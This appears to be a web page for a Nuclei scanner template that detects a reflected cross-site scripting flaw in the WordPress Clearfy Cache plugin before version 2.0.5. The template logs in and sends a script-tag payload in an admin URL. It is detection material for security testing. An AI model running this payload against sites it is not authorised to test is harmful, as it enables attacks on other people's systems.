WordPress Clearfy Cache <2.0.5 - Cross-Site Scripting

ID: clearfy-cache-xss

Severity: medium

Author: Akincibor

Tags: xss,wp,wordpress,authenticated,clearfy-cache,wpscan,wp-plugin

Description

WordPress Clearfy Cache 2.0.5 does not escape some URLs before outputting them back in attributes, leading to reflected cross-site scripting.

YAML Source

id: clearfy-cache-xss

info:
  name: WordPress Clearfy Cache <2.0.5 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: WordPress Clearfy Cache 2.0.5 does not escape some URLs before outputting them back in attributes, leading to reflected cross-site scripting.
  reference:
    - https://wpscan.com/vulnerability/a59e7102-13d6-4f1e-b7b1-75eae307e516
    - https://wordpress.org/plugins/clearfy
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    max-request: 2
  tags: xss,wp,wordpress,authenticated,clearfy-cache,wpscan,wp-plugin

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=gonzales-wbcr_clearfy&action=index&wbcr_assets_manager=1&a"><script>alert(1)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(1)</script>'
          - "Webcraftic Clearfy - WordPress optimization plugin"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210091e35e433c02b79325823d7cc340d075b7eee84035718cd96bebb059f7dfb08b022061d45102ff90f6df6fdbb98cc7da834ae82cb81efefd46f3c55413abb0f82956:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/clearfy-cache-xss.yaml"

View on Github